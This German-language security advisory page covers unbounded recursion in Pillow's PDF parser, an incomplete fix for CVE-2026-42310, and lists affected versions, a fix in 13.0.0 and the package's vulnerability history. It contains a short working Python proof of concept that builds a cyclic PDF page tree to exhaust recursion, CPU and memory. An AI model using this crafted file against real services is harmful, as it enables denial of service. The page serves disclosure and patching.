Hoch

Pillow: Unbegrenzte Rekursion beim Parsen eines PDF-Seitenbaums oder einer Trailer-Kette (unvollständiger Fix für CVE-2026-42310)

  • Veröffentlicht: 20.10.2026
  • Aktualisiert: 20.10.2026 23:38

Zusammenfassung

Wenn eine Anwendung mit Image.save(..., format="PDF", append=True) an eine bestehende PDF-Datei anhängt, parst Pillow diese Datei mit PdfParser. Zwei rekursive Parser besitzen keine wirksame Begrenzung. linearize_page_tree folgt /Kids ohne eine Menge bereits besuchter Elemente (Visited-Set) oder ein Tiefenlimit, sodass ein zyklischer oder duplizierter Seitenbaum endlos rekursiert. read_prev_trailer weist lediglich einen exakt wiederholten /Prev-Offset ab, weshalb eine lange Kette eindeutiger Offsets dennoch rekursiert. Der für CVE-2026-42310 hinzugefügte Schutz gegen Trailer-Schleifen deckt keinen dieser Fälle ab.

Details

linearize_page_tree rekursiert auf /Kids ohne Zyklus- oder Tiefenprüfung:

  • src/PIL/PdfParser.py:1078-1092

read_prev_trailer fängt nur einen wiederholten Offset ab:

  • src/PIL/PdfParser.py:697-720 (die Überprüfung von processed_offsets bei :714-718 stellt den Fix für CVE-2026-42310 dar; eine Kette eindeutiger Offsets umgeht diese)

PoC

python
from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way

Ausführung:

bash
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded

Die 315 Byte große Datei löst die Rekursion beim Parsen aus. Ein duplizierter (nicht zyklischer) /Kids-Baum erzeugt stattdessen einen überproportionalen (super-linearen) CPU- und Speicheraufwand, und eine lange Kette mit eindeutigen /Prev-Offsets löst die Rekursion auf Trailer-Seite aus.

Auswirkungen

Ein Dienst, der von Benutzern bereitgestellte PDF-Dateien erweitert (z. B. eine Stempel- oder Wasserzeichen-Pipeline), kann in eine unbehandelte Rekursion oder eine hohe CPU- und Speicherauslastung getrieben werden, noch bevor ein Bild geschrieben wird. Dies ist ein Follow-up zu CVE-2026-42310. Da die Richtlinien von Pillow davon abraten, einfache Python-Ausnahmen als Denial-of-Service einzustufen, steht der Fall des zyklischen Baums im Vordergrund, da dieser CPU und Speicher beansprucht, anstatt nur RecursionError auszulösen. Die Behebung besteht aus einer Menge besuchter Knoten sowie einem Tiefenlimit in beiden Parsern.

Was zu tun ist

Aktualisieren Sie Pillow auf Version 13.0.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow >= 5.1.0, < 13.0.0 13.0.0

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-674
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
20.10.2026
Aktualisiert
20.10.2026 23:38

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-p4wg-p73j-c528 - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (81) im Archiv
Einträge insgesamt
81
Erste → letzte
04.2014 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 10
  • Hoch 53
  • Mittel 16
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 23

früher: 12

Schweregrad:
  1. Pillow: Unbegrenzte Rekursion beim Parsen eines PDF-Seitenbaums oder einer Trailer-Kette (unvollständiger Fix für CVE-2026-42310) dieser Eintrag
    Hoch CVE-2026-112895 >= 5.1.0, < 13.0.0 13.0.0
  2. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  3. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. Hoch · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. Hoch CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. Hoch · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. Hoch · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Kritisch · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
Mehr anzeigen (20) 20 von 63 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.